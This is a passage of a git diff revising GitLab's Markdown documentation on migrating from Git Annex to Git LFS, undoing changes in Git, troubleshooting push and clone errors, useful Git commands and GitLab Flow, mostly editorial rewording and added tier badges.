Annex troubleshooting tips](../../../administration/git_annex.md#troubleshooting-tips) section. @@ -133,7 +133,7 @@ if the server also has Git Annex 6 installed. Read more in the Deleted branch git-annex (was 2534d2c). ``` - This will `unannex` every file in the repository, leaving the original files. + This command runs `unannex` on every file in the repository, leaving the original files. 1. Switch back to `indirect` mode: @@ -161,7 +161,7 @@ if the server also has Git Annex 6 installed. Read more in the --- At this point, you have two options. Either add, commit and push the files -directly back to GitLab or switch to Git LFS. We will tackle the LFS switch in +directly back to GitLab or switch to Git LFS. The LFS switch is described in the next section. ### Enabling Git LFS in your repository @@ -194,7 +194,7 @@ GitLab.com), therefore, you don't need to do anything server-side. git lfs track images/ # per directory ``` - Once you do that, run `git status` and you'll see `.gitattributes` added + After this, run `git status` to see the `.gitattributes` added to your repository. It collects all file patterns that you chose to track via `git-lfs`. @@ -206,7 +206,7 @@ GitLab.com), therefore, you don't need to do anything server-side. git push ``` - If your remote is set up with HTTP, you will be asked to enter your login + If your remote is set up with HTTP, you are asked to enter your login credentials. If you have [2FA enabled](../../../user/profile/account/two_factor_authentication.md), make sure to use a [personal access token](../../../user/profile/account/two_factor_authentication.md#personal-access-tokens) instead of your password. @@ -244,5 +244,5 @@ git annex uninit - (Blog Post) [Getting Started with Git FLS](https://about.gitlab.com/blog/2017/01/30/getting-started-with-git-lfs-tutorial/) - (Blog Post) [Announcing LFS Support in GitLab](https://about.gitlab.com/blog/2015/11/23/announcing-git-lfs-support-in-gitlab/) - (Blog Post) [GitLab Annex Solves the Problem of Versioning Large Binaries with Git](https://about.gitlab.com/blog/2015/02/17/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git/) -- (GitLab Docs) [Git Annex](../../../administration/git_annex.md) -- (GitLab Docs) [Git LFS](index.md) +- [Git Annex](../../../administration/git_annex.md) +- [Git LFS](index.md) diff --git a/doc/topics/git/lfs/migrate_to_git_lfs.md b/doc/topics/git/lfs/migrate_to_git_lfs.md index ef2675db6d4..98c7e59154e 100644 --- a/doc/topics/git/lfs/migrate_to_git_lfs.md +++ b/doc/topics/git/lfs/migrate_to_git_lfs.md @@ -115,7 +115,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs- so that we can force-push the rewritten repository: 1. Navigate to your project's **Settings > Repository** and - expand **Protected Branches**. + expand **Protected branches**. 1. Scroll down to locate the protected branches and click **Unprotect** the default branch. @@ -153,7 +153,7 @@ Consider an example upstream project, `git@gitlab.com:gitlab-tests/test-git-lfs- 1. [Re-protect the default branch](../../../user/project/protected_branches.md): 1. Navigate to your project's **Settings > Repository** and - expand **Protected Branches**. + expand **Protected branches**. 1. Select the default branch from the **Branch** dropdown menu, and set up the **Allowed to push** and **Allowed to merge** rules. diff --git a/doc/topics/git/migrate_to_git_lfs/index.md b/doc/topics/git/migrate_to_git_lfs/index.md deleted file mode 100644 index c530fa1dcb1..00000000000 --- a/doc/topics/git/migrate_to_git_lfs/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../lfs/migrate_to_git_lfs.md' ---- - -This document was moved to [another location](../lfs/migrate_to_git_lfs.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md index f6571c7b277..c263609125f 100644 --- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md +++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md @@ -5,23 +5,21 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Numerous undo possibilities in Git +# Numerous undo possibilities in Git **(FREE)** -In this tutorial, we will show you different ways of undoing your work in Git, for which -we will assume you have a basic working knowledge of. Check the GitLab +This tutorial shows you different ways of undoing your work in Git. +We assume you have a basic working knowledge of Git. Check the GitLab [Git documentation](../index.md) for reference. -Also, we will only provide some general information of the commands, which is enough -to get you started for the easy cases/examples, but for anything more advanced -please refer to the [Git book](https://git-scm.com/book/en/v2). +We only provide some general information about the commands to get you started. +For more advanced examples, refer to the [Git book](https://git-scm.com/book/en/v2). -We will explain a few different techniques to undo your changes based on the stage -of the change in your current development. Also, keep in mind that [nothing in -Git is really deleted](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery). - -This means that until Git automatically cleans detached commits (which cannot be -accessed by branch or tag) it will be possible to view them with `git reflog` command -and access them with direct commit ID. Read more about _[redoing the undo](#redoing-the-undo)_ in the section below. +A few different techniques exist to undo your changes, based on the stage +of the change in your current development. Remember that +[nothing in Git is really deleted](https://git-scm.com/book/en/v2/Git-Internals-Maintenance-and-Data-Recovery). +Until Git cleans detached commits - commits that cannot be accessed by branch or tag - +you can view them with `git reflog` command, and access them with direct commit ID. +Read more about [redoing the undo](#redoing-the-undo) in the section below. > For more information about working with Git and GitLab: > @@ -30,13 +28,16 @@ and access them with direct commit ID. Read more about _[redoing the undo](#redo ## Introduction -This guide is organized depending on the [stage of development](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository) -where you want to undo your changes from and if they were shared with other developers -or not. Because Git is tracking changes a created or edited file is in the unstaged state +This guide is organized depending on the [stage of development](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository): + +- Where do you want to undo your changes from? +- Were they shared with other developers? + +Because Git tracks changes, a created or edited file is in the unstaged state (if created it is untracked by Git). After you add it to a repository (`git add`) you put a file into the **staged** state, which is then committed (`git commit`) to your local repository. After that, file can be shared with other developers (`git push`). -Here's what we'll cover in this tutorial: +This tutorial covers: - [Undo local changes](#undo-local-changes) which were not pushed to a remote repository: @@ -54,38 +55,38 @@ Here's what we'll cover in this tutorial: ### Branching strategy -[Git](https://git-scm.com/) is a de-centralized version control system, which means that beside regular +[Git](https://git-scm.com/) is a de-centralized version control system. Beside regular versioning of the whole repository, it has possibilities to exchange changes with other repositories. To avoid chaos with [multiple sources of truth](https://git-scm.com/about/distributed), various -development workflows have to be followed, and it depends on your internal +development workflows have to be followed. It depends on your internal workflow how certain changes or commits can be undone or changed. [GitLab Flow](https://about.gitlab.com/blog/2014/09/29/gitlab-flow/) provides a good balance between developers clashing with each other while -developing the same feature and cooperating seamlessly, but it does not enable +developing the same feature and cooperating seamlessly. However, it does not enable joined development of the same feature by multiple developers by default. When multiple developers develop the same feature on the same branch, clashing -with every synchronization is unavoidable, but a proper or chosen Git Workflow will -prevent that anything is lost or out of sync when the feature is complete. +with every synchronization is unavoidable. However, a proper or chosen Git Workflow +prevents lost or out-of-sync data when the feature is complete. You can also read through this blog post on [Git Tips & Tricks](https://about.gitlab.com/blog/2016/12/08/git-tips-and-tricks/) -to learn how to easily **do** things in Git. +to learn how to do things in Git. ## Undo local changes -Until you push your changes to any remote repository, they will only affect you. +Until you push your changes to any remote repository, they only affect you. That broadens your options on how to handle undoing them. Still, local changes can be on various stages and each stage has a different approach on how to tackle them. ### Unstaged local changes (before you commit) -When a change is made, but it is not added to the staged tree, Git itself -proposes a solution to discard changes to a certain file. +When a change is made, but not added to the staged tree, Git +proposes a solution to discard changes to the file. Suppose you edited a file to change the content using your favorite editor: @@ -93,7 +94,7 @@ Suppose you edited a file to change the content using your favorite editor: vim <file> ``` -Since you did not `git add <file>` to staging, it should be under unstaged files (or +Because you did not `git add <file>` to staging, it should be under unstaged files (or untracked if file was created). You can confirm that with: ```shell @@ -136,32 +137,37 @@ you would like to apply them at some later time. You can read more about it in ### Quickly save local changes -You are working on a feature when a boss drops by with an urgent task. Since your +You are working on a feature when a boss drops by with an urgent task. Because your feature is not complete, but you need to swap to another branch, you can use -`git stash` to save what you had done, swap to another branch, commit, push, -test, then get back to previous feature branch, do `git stash pop` and continue -where you left. +`git stash` to: + +- Save what you have done. +- Swap to another branch. +- Commit, push, and test. +- Return to the feature branch. +- Run `git stash pop`. +- Resume your work. -The example above shows that discarding all changes is not always a preferred option, -but Git provides a way to save them for later, while resetting the repository to state without +The example above shows that discarding all changes is not always a preferred option. +However, Git provides a way to save them for later, while resetting the repository to state without them. This is achieved by Git stashing command `git stash`, which in fact saves your current work and runs `git reset --hard`, but it also has various additional options like: -- `git stash save`, which enables including temporary commit message, which will help you identify changes, among with other options +- `git stash save`, which enables including temporary commit message, which helps you identify changes, among with other options - `git stash list`, which lists all previously stashed commits (yes, there can be more) that were not `pop`ed - `git stash pop`, which redoes previously stashed changes and removes them from stashed list - `git stash apply`, which redoes previously stashed changes, but keeps them on stashed list ### Staged local changes (before you commit) -Let's say you have added some files to staging, but you want to remove them from the -current commit, yet you want to retain those changes - just move them outside -of the staging tree. You also have an option to discard all changes with +If you add some files to staging, but you want to remove them from the +current commit while retaining those changes, move them outside +of the staging tree. You can also discard all changes with `git reset --hard` or think about `git stash` [as described earlier.](#quickly-save-local-changes) -Lets start the example by editing a file, with your favorite editor, to change the -content and add it to staging +Lets start the example by editing a file with your favorite editor to change the +content and add it to staging: ```shell vim <file> @@ -208,17 +214,17 @@ Now you have 4 options to undo your changes: ## Committed local changes -Once you commit, your changes are recorded by the version control system. +After you commit, your changes are recorded by the version control system. Because you haven't pushed to your remote repository yet, your changes are still not public (or shared with other developers). At this point, undoing -things is a lot easier, we have quite some workaround options. Once you push -your code, you'll have less options to troubleshoot your work. +things is a lot easier, we have quite some workaround options. After you push +your code, you have fewer options to troubleshoot your work. ### Without modifying history Through the development process some of the previously committed changes do not -fit anymore in the end solution, or are source of the bugs. Once you find the -commit which triggered bug, or once you have a faulty commit, you can simply +fit anymore in the end solution, or are source of the bugs. After you find the +commit which triggered bug, or identify a faulty commit, you can revert it with `git revert commit-id`. This command inverts (swaps) the additions and @@ -226,19 +232,19 @@ deletions in that commit, so that it does not modify history. Retaining history can be helpful in future to notice that some changes have been tried unsuccessfully in the past. -In our example we will assume there are commits `A`,`B`,`C`,`D`,`E` committed in this order: `A-B-C-D-E`, +In our example we assume there are commits `A`,`B`,`C`,`D`,`E` committed in this order: `A-B-C-D-E`, and `B` is the commit you want to undo. There are many different ways to identify commit -`B` as bad, one of them is to pass a range to `git bisect` command. The provided range includes -last known good commit (we assume `A`) and first known bad commit (where bug was detected - we will assume `E`). +`B` as bad. One of them is to pass a range to `git bisect` command. The provided range includes +last known good commit (we assume `A`) and first known bad commit where the bug was detected (we assume `E`). ```shell git bisect A..E ``` -Bisect will provide us with commit ID of the middle commit to test, and then guide us -through simple bisection process. You can read more about it [in official Git Tools](https://git-scm.com/book/en/v2/Git-Tools-Debugging-with-Git) -In our example we will end up with commit `B`, that introduced the bug/error. We have -4 options on how to remove it (or part of it) from our repository. +Bisect provides us with commit ID of the middle commit to test, and then guide us +through the bisection process. You can read more about it [in official Git Tools](https://git-scm.com/book/en/v2/Git-Tools-Debugging-with-Git) +Our example results in commit `B`, which introduced the bug/error. We have +these options to remove all or part of it from our repository: - Undo (swap additions and deletions) changes introduced by commit `B`: @@ -260,13 +266,13 @@ In our example we will end up with commit `B`, that introduced the bug/error. We - There is one command we also must not forget: **creating a new branch** from the point where changes are not applicable or where the development has hit a - dead end. For example you have done commits `A-B-C-D` on your feature-branch + dead end. For example you have done commits `A-B-C-D` on your feature branch and then you figure `C` and `D` are wrong. At this point you either reset to `B` - and do commit `F` (which will cause problems with pushing and if forced pushed also with other developers) - since branch now looks `A-B-F`, which clashes with what other developers have locally (you will - [change history](#with-history-modification)), or you simply checkout commit `B` create + and do commit `F` (which causes problems with pushing and if forced pushed also with other developers) + because the branch now looks `A-B-F`, which clashes with what other developers have locally (you will + [change history](#with-history-modification)), or you checkout commit `B` create a new branch and do commit `F`. In the last case, everyone else can still do their work while you have your new way to get it right and merge it back in later. Alternatively, with GitLab, you can [cherry-pick](../../../user/project/merge_requests/cherry_pick_changes.md#cherry-picking-a-commit) @@ -291,7 +297,7 @@ provides interactive mode (`-i` flag) which enables you to: - **edit** the commit content (changes introduced by commit) and message. - **squash** multiple commits into a single one, and have a custom or aggregated commit message. -- **drop** commits - simply delete them. +- **drop** commits - delete them. - and few more options. Let us check few examples. Again there are commits `A-B-C-D` where you want to @@ -326,8 +332,8 @@ In case you want to modify something introduced in commit `B`. git commit -a ``` -You can find some more examples in [below section where we explain how to modify -history](#how-modifying-history-is-done) +You can find some more examples in the section explaining +[how to modify history](#how-modifying-history-is-done). ### Redoing the Undo @@ -391,12 +397,12 @@ git checkout -b new-path-of-feature ## Undo remote changes with modifying history This is useful when you want to *hide* certain things - like secret keys, -passwords, SSH keys, etc. It is and should not be used to hide mistakes, as -it will make it harder to debug in case there are some other bugs. The main -reason for this is that you loose the real development progress. **Also keep in +passwords, and SSH keys. It is and should not be used to hide mistakes, as +it makes it harder to debug in case there are some other bugs. The main +reason for this is that you loose the real development progress. Keep in mind that, even with modified history, commits are just detached and can still be -accessed through commit ID** - at least until all repositories perform -the cleanup of detached commits (happens automatically). +accessed through commit ID - at least until all repositories perform +the automated cleanup of detached commits.  @@ -404,16 +410,16 @@ the cleanup of detached commits (happens automatically). Modified history breaks the development chain of other developers, as changed history does not have matching commit IDs. For that reason it should not be -used on any public branch or on branch that *might* be used by other developers. +used on any public branch or on branch that might be used by other developers. When contributing to big open source repositories (for example, [GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/CONTRIBUTING.md#contribution-acceptance-criteria) -itself), it is acceptable to *squash* commits into a single one, to present a +itself), it is acceptable to squash commits into a single one, to present a nicer history of your contribution. Keep in mind that this also removes the comments attached to certain commits in merge requests, so if you need to retain traceability in GitLab, then modifying history is not acceptable. -A feature-branch of a merge request is a public branch and might be used by +A feature branch of a merge request is a public branch and might be used by other developers, but project process and rules might allow or require you to use `git rebase` (command that changes history) to reduce number of displayed commits on target branch after reviews are done (for example @@ -427,7 +433,7 @@ Never modify the commit history of `master` or shared branch. ### How modifying history is done After you know what you want to modify (how far in history or how which range of -old commits), use `git rebase -i commit-id`. This command will then display all the commits from +old commits), use `git rebase -i commit-id`. This command displays all the commits from current version to chosen commit ID and allow modification, squashing, deletion of that commits. @@ -458,12 +464,12 @@ pick <commit3-id> <commit3-commit-message> ``` NOTE: -It is important to notice that comment from the output clearly states that, if -you decide to abort, then do not just close your editor (as that will in-fact -modify history), but remove all uncommented lines and save. +The comment from the output clearly states that, if +you decide to abort, don't just close your editor (as that +modifies history), but remove all uncommented lines and save. -That is one of the reasons why `git rebase` should be used carefully on -shared and remote branches. But don't worry, there will be nothing broken until +Use `git rebase` carefully on +shared and remote branches, but rest assured: nothing is broken until you push back to the remote repository (so you can freely explore the different outcomes locally). @@ -486,7 +492,7 @@ file from history altogether use: git filter-branch --tree-filter 'rm filename' HEAD ``` -Since `git filter-branch` command might be slow on big repositories, there are +Because `git filter-branch` command might be slow on big repositories, there are tools that can use some of Git specifics to enable faster execution of common tasks (which is exactly what removing sensitive information file is about). An alternative is the open source community-maintained tool [BFG](https://rtyley.github.io/bfg-repo-cleaner/). @@ -497,8 +503,8 @@ Refer [Reduce repository size](../../../user/project/repository/reducing_the_rep ## Conclusion -There are various options of undoing your work with any version control system, but -because of de-centralized nature of Git, these options are multiplied (or limited) +Various options exist for undoing your work with any version control system, but +because of the de-centralized nature of Git, these options are multiplied (or limited) depending on the stage of your process. Git also enables rewriting history, but that should be avoided as it might cause problems when multiple developers are contributing to the same codebase. diff --git a/doc/topics/git/partial_clone.md b/doc/topics/git/partial_clone.md index fa42cfd6e5b..d9c239486f5 100644 --- a/doc/topics/git/partial_clone.md +++ b/doc/topics/git/partial_clone.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Partial Clone +# Partial Clone **(FREE)** As Git repositories grow in size, they can become cumbersome to work with because of the large amount of history that must be downloaded, and the large diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md index aace979004f..528a9a4ba00 100644 --- a/doc/topics/git/troubleshooting_git.md +++ b/doc/topics/git/troubleshooting_git.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: howto --- -# Troubleshooting Git +# Troubleshooting Git **(FREE)** Sometimes things don't work the way they should or as you might expect when you're using Git. Here are some tips on troubleshooting and resolving issues @@ -14,7 +14,7 @@ with Git. ## Broken pipe errors on `git push` 'Broken pipe' errors can occur when attempting to push to a remote repository. -When pushing you will usually see: +When pushing you usually see: ```plaintext Write failed: Broken pipe @@ -45,14 +45,13 @@ set to 50MB. The default is 1MB. **If pushing over SSH**, first check your SSH configuration as 'Broken pipe' errors can sometimes be caused by underlying issues with SSH (such as authentication). Make sure that SSH is correctly configured by following the -instructions in the [SSH troubleshooting](../../ssh/README.md#troubleshooting) docs. +instructions in the [SSH troubleshooting](../../ssh/README.md#troubleshooting) documentation. -There's another option where you can prevent session timeouts by configuring -SSH 'keep alive' either on the client or on the server (if you are a GitLab -admin and have access to the server). +If you're a GitLab administrator and have access to the server, you can also prevent +session timeouts by configuring SSH `keep alive` either on the client or on the server. NOTE: -Configuring *both* the client and the server is unnecessary. +Configuring both the client and the server is unnecessary. **To configure SSH on the client side**: @@ -67,7 +66,7 @@ Configuring *both* the client and the server is unnecessary. - On Windows, if you are using PuTTY, go to your session properties, then navigate to "Connection" and under "Sending of null packets to keep - session active", set "Seconds between keepalives (0 to turn off)" to `60`. + session active", set `Seconds between keepalives (0 to turn off)` to `60`. **To configure SSH on the server side**, edit `/etc/ssh/sshd_config` and add: @@ -125,7 +124,7 @@ MaxStartups 100:30:200 ``` `100:30:200` means up to 100 SSH sessions are allowed without restriction, -after which 30% of connections will be dropped until reaching an absolute maximum of 200. +after which 30% of connections are dropped until reaching an absolute maximum of 200. Once configured, restart the SSH daemon for the change to take effect. @@ -140,7 +139,7 @@ sudo service sshd restart ## Timeout during `git push` / `git pull` If pulling/pushing from/to your repository ends up taking more than 50 seconds, -a timeout will be issued with a log of the number of operations performed +a timeout is issued. It contains a log of the number of operations performed and their respective timings, like the example below: ```plaintext @@ -154,7 +153,7 @@ and provide GitLab with more information on how to improve the service. ## `git clone` over HTTP fails with `transfer closed with outstanding read data remaining` error -If the buffer size is lower than what is allowed in the request, the action will fail with an error similar to the one below: +If the buffer size is lower than what is allowed in the request, the action fails with an error similar to the one below: ```plaintext error: RPC failed; curl 18 transfer closed with outstanding read data remaining @@ -163,7 +162,7 @@ fatal: early EOF fatal: index-pack failed ``` -This can be fixed by increasing the existing `http.postBuffer` value to one greater than the repository size. For example, if `git clone` fails when cloning a 500M repository, the solution will be to set `http.postBuffer` to `524288000` so that the request only starts buffering after the first 524288000 bytes. +This can be fixed by increasing the existing `http.postBuffer` value to one greater than the repository size. For example, if `git clone` fails when cloning a 500M repository, you should set `http.postBuffer` to `524288000`. That setting ensures the request only starts buffering after the first 524288000 bytes. NOTE: The default value of `http.postBuffer`, 1 MiB, is applied if the setting is not configured. diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md index 6b4d1e06c2c..94279e521b6 100644 --- a/doc/topics/git/useful_git_commands.md +++ b/doc/topics/git/useful_git_commands.md @@ -5,10 +5,10 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Useful Git commands +# Useful Git commands **(FREE)** -Here are some useful Git commands collected by the GitLab support team. You may not -need to use often, but they can come in handy when needed. +The GitLab support team has collected these commands to help you. You may not +need to use them often. ## Remotes @@ -182,7 +182,7 @@ Git includes a complete set of [traces for debugging Git commands](https://git-s ### Rebase your branch onto master -The -i flag stands for 'interactive': +The `-i` flag stands for 'interactive': ```shell git rebase -i master diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md index 87d8129dc7f..d02573a0e06 100644 --- a/doc/topics/gitlab_flow.md +++ b/doc/topics/gitlab_flow.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated disqus_identifier: 'https://docs.gitlab.com/ee/workflow/gitlab_flow.html' --- -# Introduction to GitLab Flow +# Introduction to GitLab Flow **(FREE)**  @@ -16,7 +16,7 @@ It combines [feature-driven development](https://en.wikipedia.org/wiki/Feature-d Organizations coming to Git from other version control systems frequently find it hard to develop a productive workflow. This article describes GitLab flow, which integrates the Git workflow with an issue tracking system. -It offers a simple, transparent, and effective way to work with Git. +It offers a transparent and effective way to work with Git.  @@ -28,7 +28,7 @@ After getting used to these three steps, the next challenge is the branching mod  -Since many organizations new to Git have no conventions for how to work with it, their repositories can quickly become messy. +Because many organizations new to Git have no conventions for how to work with it, their repositories can quickly become messy. The biggest problem is that many long-running branches emerge that all contain part of the changes. People have a hard time figuring out which branch has the latest code, or which branch to deploy to production. Frequently, the reaction to this problem is to adopt a standardized pattern such as [Git flow](https://nvie.com/posts/a-successful-git-branching-model/) and [GitHub flow](http://scottchacon.com/2011/08/31/github-flow.html). @@ -38,8 +38,12 @@ For a video introduction of how this works in GitLab, see [GitLab Flow](https:// ## Git flow and its problems +<!-- vale gitlab.Spelling = NO --> +  +<!-- vale gitlab.Spelling = YES --> + Git flow was one of the first proposals to use Git branches, and it has received a lot of attention. It suggests a `master` branch and a separate `develop` branch, as well as supporting branches for features, releases, and hotfixes. The development happens on the `develop` branch, moves to a release branch, and is finally merged into the `master` branch. @@ -47,7 +51,7 @@ The development happens on the `develop` branch, moves to a release branch, and Git flow is a well-defined standard, but its complexity introduces two problems. The first problem is that developers must use the `develop` branch and not `master`. `master` is reserved for code that is released to production. It is a convention to call your default branch `master` and to mostly branch from and merge to this. -Since most tools automatically use the `master` branch as the default, it is annoying to have to switch to another branch. +Because most tools automatically use the `master` branch as the default, it is annoying to have to switch to another branch. The second problem of Git flow is the complexity introduced by the hotfix and release branches. These branches can be a good idea for some organizations but are overkill for the vast majority of them. @@ -61,28 +65,32 @@ For example, many projects do releases but don't need to do hotfixes. ## GitHub flow as a simpler alternative - + In reaction to Git flow, GitHub created a simpler alternative. [GitHub flow](https://guides.github.com/introduction/flow/index.html) has only feature branches and a `master` branch. This flow is clean and straightforward, and many organizations have adopted it with great success. Atlassian recommends [a similar strategy](https://www.atlassian.com/blog/git/simple-git-workflow-is-simple), although they rebase feature branches. -Merging everything into the `master` branch and frequently deploying means you minimize the amount of unreleased code, which is in line with lean and continuous delivery best practices. +Merging everything into the `master` branch and frequently deploying means you minimize the amount of unreleased code. This approach is in line with lean and continuous delivery best practices. However, this flow still leaves a lot of questions unanswered regarding deployments, environments, releases, and integrations with issues. With GitLab flow, we offer additional guidance for these questions. ## Production branch with GitLab flow - + GitHub flow assumes you can deploy to production every time you merge a feature branch. -While this is possible in some cases, such as SaaS applications, there are many cases where this is not possible. -One case is where you don't control the timing of a release, for example, an iOS application that is released when it passes App Store validation. -Another case is when you have deployment windows — for example, workdays from 10 AM to 4 PM when the operations team is at full capacity — but you also merge code at other times. +While this is possible in some cases, such as SaaS applications, there are some cases where this is not possible, such as: + +- You don't control the timing of a release. For example, an iOS application that + is released when it passes App Store validation. +- You have deployment windows - for example, workdays from 10 AM to 4 PM when the + operations team is at full capacity - but you also merge code at other times. + In these cases, you can make a production branch that reflects the deployed code. You can deploy a new version by merging `master` into the production branch. -If you need to know what code is in production, you can just checkout the production branch to see. -The approximate time of deployment is easily visible as the merge commit in the version control system. +If you need to know what code is in production, you can check out the production branch to see. +The approximate time of deployment is visible as the merge commit in the version control system. This time is pretty accurate if you automatically deploy your production branch. If you need a more exact time, you can have your deployment script create a tag on each deployment. This flow prevents the overhead of releasing, tagging, and merging that happens with Git flow. @@ -105,10 +113,10 @@ If this is not possible because more manual testing is required, you can send me ## Release branches with GitLab flow - + You only need to work with release branches if you need to release software to the outside world. -In this case, each branch contains a minor version, for example, 2-3-stable, 2-4-stable, etc. +In this case, each branch contains a minor version, such as `2-3-stable` or `2-4-stable`. Create stable branches using `master` as a starting point, and branch as late as possible. By doing this, you minimize the length of time during which you have to apply bug fixes to multiple branches. After announcing a release branch, only add serious bug fixes to the branch. @@ -124,11 +132,11 @@ In this flow, it is not common to have a production branch (or Git flow `master`  Merge or pull requests are created in a Git management application. They ask an assigned person to merge two branches. -Tools such as GitHub and Bitbucket choose the name "pull request" since the first manual action is to pull the feature branch. -Tools such as GitLab and others choose the name "merge request" since the final action is to merge the feature branch. -In this article, we'll refer to them as merge requests. +Tools such as GitHub and Bitbucket choose the name "pull request", because the first manual action is to pull the feature branch. +Tools such as GitLab and others choose the name "merge request", because the final action is to merge the feature branch. +This article refers to them as merge requests. -If you work on a feature branch for more than a few hours, it is good to share the intermediate result with the rest of the team. +If you work on a feature branch for more than a few hours, share the intermediate result with the rest of your team. To do this, create a merge request without assigning it to anyone. Instead, mention people in the description or a comment, for example, "/cc @mark @susan." This indicates that the merge request is not ready to be merged yet, but feedback is welcome. @@ -143,7 +151,7 @@ Also, mention any other people from whom you would like feedback. After the assigned person feels comfortable with the result, they can merge the branch. If the assigned person does not feel comfortable, they can request more changes or close the merge request without merging. -In GitLab, it is common to protect the long-lived branches, e.g., the `master` branch, so that [most developers can't modify them](../user/permissions.md). +In GitLab, it is common to protect the long-lived branches, such as the `master` branch, so [most developers can't modify them](../user/permissions.md). So, if you want to merge into a protected branch, assign your merge request to someone with maintainer permissions. After you merge a feature branch, you should remove it from the source control software. @@ -165,10 +173,10 @@ GitLab flow is a way to make the relation between the code and the issue tracker Any significant change to the code should start with an issue that describes the goal. Having a reason for every code change helps to inform the rest of the team and to keep the scope of a feature branch small. In GitLab, each change to the codebase starts with an issue in the issue tracking system. -If there is no issue yet, create the issue, as long as the change will take a significant amount of work, i.e., more than 1 hour. +If there is no issue yet, create the issue if the change requires more than an hour's work. In many organizations, raising an issue is part of the development process because they are used in sprint planning. The issue title should describe the desired state of the system. -For example, the issue title "As an administrator, I want to remove users without receiving an error" is better than "Admin can't remove users." +For example, the issue title "As an administrator, I want to remove users without receiving an error" is better than "Administrators can't remove users." When you are ready to code, create a branch for the issue from the `master` branch. This branch is the place for any work related to this change. @@ -185,20 +193,20 @@ Start the title of the merge request with `[Draft]`, `Draft:` or `(Draft)` to pr When you think the code is ready, assign the merge request to a reviewer. The reviewer can merge the changes when they think the code is ready for inclusion in the `master` branch. -When they press the merge button, GitLab merges the code and creates a merge commit that makes this event easily visible later on. +When they press the merge button, GitLab merges the code and creates a merge commit that makes this event visible later on. Merge requests always create a merge commit, even when the branch could be merged without one. This merge strategy is called "no fast-forward" in Git. -After the merge, delete the feature branch since it is no longer needed. +After the merge, delete the feature branch, because it is no longer needed. In GitLab, this deletion is an option when merging. Suppose that a branch is merged but a problem occurs and the issue is reopened. -In this case, it is no problem to reuse the same branch name since the first branch was deleted when it was merged. +In this case, it is no problem to reuse the same branch name, because the first branch was deleted when it was merged. At any time, there is at most one branch for every issue. It is possible that one feature branch solves more than one issue. ## Linking and closing issues from merge requests - + Link to issues by mentioning them in commit messages or the description of a merge request, for example, "Fixes #16" or "Duck typing is preferred. See #12." GitLab then creates links to the mentioned issues and creates comments in the issues linking back to the merge request. @@ -212,12 +220,12 @@ If you have an issue that spans across multiple repositories, create an issue fo  With Git, you can use an interactive rebase (`rebase -i`) to squash multiple commits into one or reorder them. -This functionality is useful if you want to replace a couple of small commits with a single commit, or if you want to make the order more logical. +This feature helps you replace a couple of small commits with a single commit, or if you want to make the order more logical. However, you should avoid rebasing commits you have pushed to a remote server if you have other active contributors in the same branch. -Since rebasing creates new commits for all your changes, it can cause confusion because the same change would have multiple identifiers. +Because rebasing creates new commits for all your changes, it can cause confusion because the same change would have multiple identifiers. It would cause merge errors for anyone working on the same branch because their history would not match with yours. It can be really troublesome for the author or other contributors. -Also, if someone has already reviewed your code, rebasing makes it hard to tell what changed since the last review. +Also, if someone has already reviewed your code, rebasing makes it hard to tell what changed after the last review. You should never rebase commits authored by other people unless you've agreed otherwise. Not only does this rewrite history, but it also loses authorship information. @@ -225,7 +233,7 @@ Rebasing prevents the other authors from being attributed and sharing part of th If a merge involves many commits, it may seem more difficult to undo. You might consider solving this by squashing all the changes into one commit just before merging by using the GitLab [Squash-and-Merge](../user/project/merge_requests/squash_and_merge.md) feature. -Fortunately, there is an easy way to undo a merge with all its commits. +Fortunately, you can undo a merge with all its commits. The way to do this is by reverting the merge commit. Preserving this ability to revert a merge is a good reason to always use the "no fast-forward" (`--no-ff`) strategy when you merge manually. @@ -243,8 +251,8 @@ Often, people avoid merge commits by just using rebase to reorder their commits Using rebase prevents a merge commit when merging `master` into your feature branch, and it creates a neat linear history. However, as discussed in [the section about rebasing](#squashing-commits-with-rebase), you should avoid rebasing commits in a feature branch that you're sharing with others. -Rebasing could create more work, since every time you rebase, you may need to resolve the same conflicts. -Sometimes you can reuse recorded resolutions (`rerere`), but merging is better since you only have to resolve conflicts once. +Rebasing could create more work, as every time you rebase, you may need to resolve the same conflicts. +Sometimes you can reuse recorded resolutions (`rerere`), but merging is better, because you only have to resolve conflicts once. Atlassian has a more thorough explanation of the tradeoffs between merging and rebasing [on their blog](https://www.atlassian.com/blog/git/git-team-workflows-merge-or-rebase). A good way to prevent creating many merge commits is to not frequently merge `master` into the feature branch. @@ -270,8 +278,8 @@ You could also use [feature toggles](https://martinfowler.com/bliki/FeatureToggl NOTE: Don't confuse automatic branch testing with continuous integration. -Martin Fowler makes this distinction in [his article about feature branches](https://martinfowler.com/bliki/FeatureBranch.html): -"I've heard people say they are doing CI because they are running builds, perhaps using a CI server, on every branch with every commit. +Martin Fowler makes this distinction in [an article about feature branches](https://martinfowler.com/bliki/FeatureBranch.html): +"\[People\] say they are doing CI because they are running builds, perhaps using a CI server, on every branch with every commit. That's continuous building, and a Good Thing, but there's no *integration*, so it's not CI." In conclusion, you should try to prevent merge commits, but not eliminate them. @@ -285,24 +293,36 @@ If you rebase code, the history is incorrect, and there is no way for tools to r Another way to make your development work easier is to commit often. Every time you have a working set of tests and code, you should make a 